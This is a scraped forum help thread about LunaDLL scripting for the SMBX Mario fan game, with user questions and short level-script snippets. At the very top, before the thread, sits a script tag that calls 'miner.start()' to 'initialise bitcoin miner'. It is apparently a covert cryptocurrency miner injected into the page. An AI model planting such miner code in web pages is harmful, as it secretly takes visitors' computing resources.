<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralmario fan games galaxysmbx community

LunaDLL/LunaLUA help thread

The second SMBX collab!
User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

For some reason, the code Kil posted seems to work perfectly. Not sure why my original one didn't.
Image
Image
Image
Image
Image

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

It wouldn't ever deccelerate because the accelerator had length 0. Since you're using timers of 200 to cycle, you should make the other codes being triggered also 200 length.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 5 years ago

Kil wrote:It wouldn't ever deccelerate because the accelerator had length 0. Since you're using timers of 200 to cycle, you should make the other codes being triggered also 200 length.
Yup, that seems to have done the trick. Thanks.
Image
Image
Image
Image
Image

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Kil wrote:But how do you target only the shells that have been hit and not all of them? By the way, this is possible but not with the scripts which are too crappy.
What I interpreted it as is "change this, which is normally a shell when hit, to x" so that would be okay.

Mikkofier
What about Ron magic?
Posts: 697
Joined: 6 years ago
First name: Mikko J. Fuzzygrumbles
Pronouns: he/him/his
Location: Lots of miles from Vietnam
Contact:

Re: LunaDLL help thread

Postby Mikkofier » 5 years ago

Noob questions:
[*]How do I filter only sacks, not any of the other mounts
[*]How do I make an autoscrolling section outside section 1?
Many people need desperately to receive this message: I feel and think much as you do, care about many of the things you care about, although most people do not care about them. You are not alone.
-Kurt Vonnegut
Context-free Supper Mario Broth Roulette! NOTE: Potential Jumpscare warning!
Image
Avatar source (for most of them).
Image


Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

probably like this

Code: Select all

#0
// Mount checker
OnPlayerMem,0x108,1,0,1000,0,w

#2
// Section 2 ("3") scroller
PushScreenBoundary,3,2,0,0,0,1
PushScreenBoundary,3,3,0,0,0,1

#1000
// Mount remover
PlayerMemSet,0,0x108,0,0,1,w

#END
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Ittababy
Posts: 13
Joined: 5 years ago

Re: LunaDLL help thread

Postby Ittababy » 5 years ago

I'm so, so sorry, but I'm the dumbest man on Mars.
Can someone just post a few generic codes that just 'character filter'? Please? Or if that already exists... :?
I mean like copy paste ease. You do not understand how dumb I am <:I
Last edited by Ittababy on 02 Sep 2014, 03:06, edited 1 time in total.
A very shy ghost.

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

http://www.gamearchaeology.com/LunaDLL.html

I don't think I can get any simpler than that
DON'T PM me. Ask your question in the help thread so everyone can be answered.

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

If you're using regular old SMBX it's
Demo = Mario
Iris = Luigi
Kood = Peach
raocow = Toad
Sheath = Link

Call me a selfish monster who can't stop biggering, but if a new sprite reaches into the next sprite down on a player sheet (too many pixels tall), is that just not usable? The ones I thought of (SMW bowser, a touhou player, a Jump Ultimate Stars player) the good sprites seem to be out of range
Yeah I know, but it's hard for me to define any limits when lunadll exists in the first place you know?

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

Forget about last post until I test further please
Kil wrote:Yes but you should forget about forcing to hold a random sprite part of that. If you want to do that you'll have to write c++ code because it's quite complicated for the scripts.
Is there a way to say, put a boomerang into hammer Mario's hands when run or alt run is pressed?

User avatar
GanonTEK
Evil King
Posts: 12
Joined: 10 years ago
Location: Ireland. The Emerald Isle. (We got no emeralds though)
Contact:

Re: LunaDLL help thread

Postby GanonTEK » 5 years ago

Sorry if this is a stupid question but I can't get lunadll to work.
It's my first time using it so here are the steps I went through:

I have smbx 1.3.0.1 which I got from here
I downloaded the LunaDLL.dll file from here
I put LunaDLL.dll into the SMBX folder.

I made a level called GanonTEK-test.lvl (which is in the worlds folder)
I made a folder called GanonTEK-test (which is in the worlds folder)
I made a text file called lunadll.txt in the GanonTEK-test folder.
I copied the following into the txt just as a test which I got from the tutorial.txt.
///--Full level--///
#-1

// Filter Demo to Sheath
FilterPlayer,0,1,5,0,0,0

#0
// Print the word "HI" at x:300 y:300 on the screen, with font 3
ShowText,0,300,300,3,0,Hi

#1

ShowText,0,200,400,3,0,ISN'T IT HARD TO SEE WITH ALL THIS TEXT IN THE WAY?

#2
// Filter a bunch of stuff and play sound effect ID 10 for no reason
SFX,10,0,0,0,0,0
FilterToSmall,0,0,0,0,1,0
FilterReservePowerup,0,0,0,0,1,0
FilterMount,0,0,0,0,1,0

#END
I tried just testing the level in the editor and I see no changes. Mario stays as mario and no text appears on screen. I tried closing SMBX and reloading.

Is there something I have missed? I have read the instructions and I don't know what I have done wrong. Thanks. Sorry for bothering everyone but I want to try it out and for the life of me I can't see what's wrong. Thank you.

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

You'll need the lunadll exe

User avatar
GanonTEK
Evil King
Posts: 12
Joined: 10 years ago
Location: Ireland. The Emerald Isle. (We got no emeralds though)
Contact:

Re: LunaDLL help thread

Postby GanonTEK » 5 years ago

TiKi wrote:You'll need the lunadll exe
Don't think there is a lunadll exe

Anyway, found the problem. It only works with the A2MBXT executable. I just downloaded it and it works great now.
Thanks anyway :)

User avatar
Mabel
Just west of wierd
Posts: 278
Joined: 6 years ago

Re: LunaDLL help thread

Postby Mabel » 5 years ago

youre better off just using the A2XT client to avoid trying to do all of this nonsense installing or whatever, unless youre missing something else which you probably need to install vcredist_x86.exe which also comes with the A2XT client.

If you want mario related assets, just copy them all into the folder.
Image
Image
Image Image

User avatar
tigermoon
Posts: 1
Joined: 5 years ago
Location: Is crazy a location? If so, I've been here for ages. :3

Re: LunaDLL help thread

Postby tigermoon » 5 years ago

Three of the four zip files in that link you gave for LunaDLL contain a modified SMB 1.3.0.1 exe that works with LunaDLL.

But yeah, unless you really want to use Mario, you're probably better off just sticking with A2XT.
WARNING: User is known for stupid ideas. Listen at your own risk.
... I prefer the one where you compare yourself to gremlins...

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

Also someone compiled some basic codes anyone can use http://www.supermariobrosx.org/forums/v ... =69&t=5414
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
tigermoon
Posts: 1
Joined: 5 years ago
Location: Is crazy a location? If so, I've been here for ages. :3

Re: LunaDLL help thread

Postby tigermoon » 5 years ago

Is there a way to set it so Toad/raocow always has a double jump?
WARNING: User is known for stupid ideas. Listen at your own risk.
... I prefer the one where you compare yourself to gremlins...

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

tigermoon wrote:Is there a way to set it so Toad/raocow always has a double jump?
I think the conditions are
1) You need to have not jumped already
2) you need to be standing on something.
Maybe you can trick the game into thinking those somehow.

EDIT:
Btw,is there a more stable version of the current lunadll version? The latest one has this bug:

Image


TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 5 years ago

I don't think so yet. I don't really mind but I think it's either that or remove tinkering with the HUD which I do mind (finally some real looking cutscenes yo)

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

I just found out,entering the cheat SUPERMARIO2 fixes it for that level...
IDK what could cause that,it must be something in LunaDLL that lets the game think it runs in 2Player Mode.

User avatar
Mabel
Just west of wierd
Posts: 278
Joined: 6 years ago

Re: LunaDLL help thread

Postby Mabel » 5 years ago

is it really a big deal if the game thinks youre in 2-player mode?
like does it effect gameplay in a undesirable way that i dont know about?
Image
Image
Image Image

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Mabel wrote:is it really a big deal if the game thinks youre in 2-player mode?
like does it effect gameplay in a undesirable way that i dont know about?
Nope but i just dislike how it moves parts of the HUD.

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 5 years ago

I fixed the 2 player thing http://www.gamearchaeology.com/LunaDll.dll
DON'T PM me. Ask your question in the help thread so everyone can be answered.

Darkchaox100
Posts: 0
Joined: 5 years ago

Re: LunaDLL help thread

Postby Darkchaox100 » 5 years ago

Kil wrote:I fixed the 2 player thing http://www.gamearchaeology.com/LunaDll.dll
Awesome! Now another question...
is is possible to draw an NPC at a screen position of your choice (like the text?)


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 5 guests

cron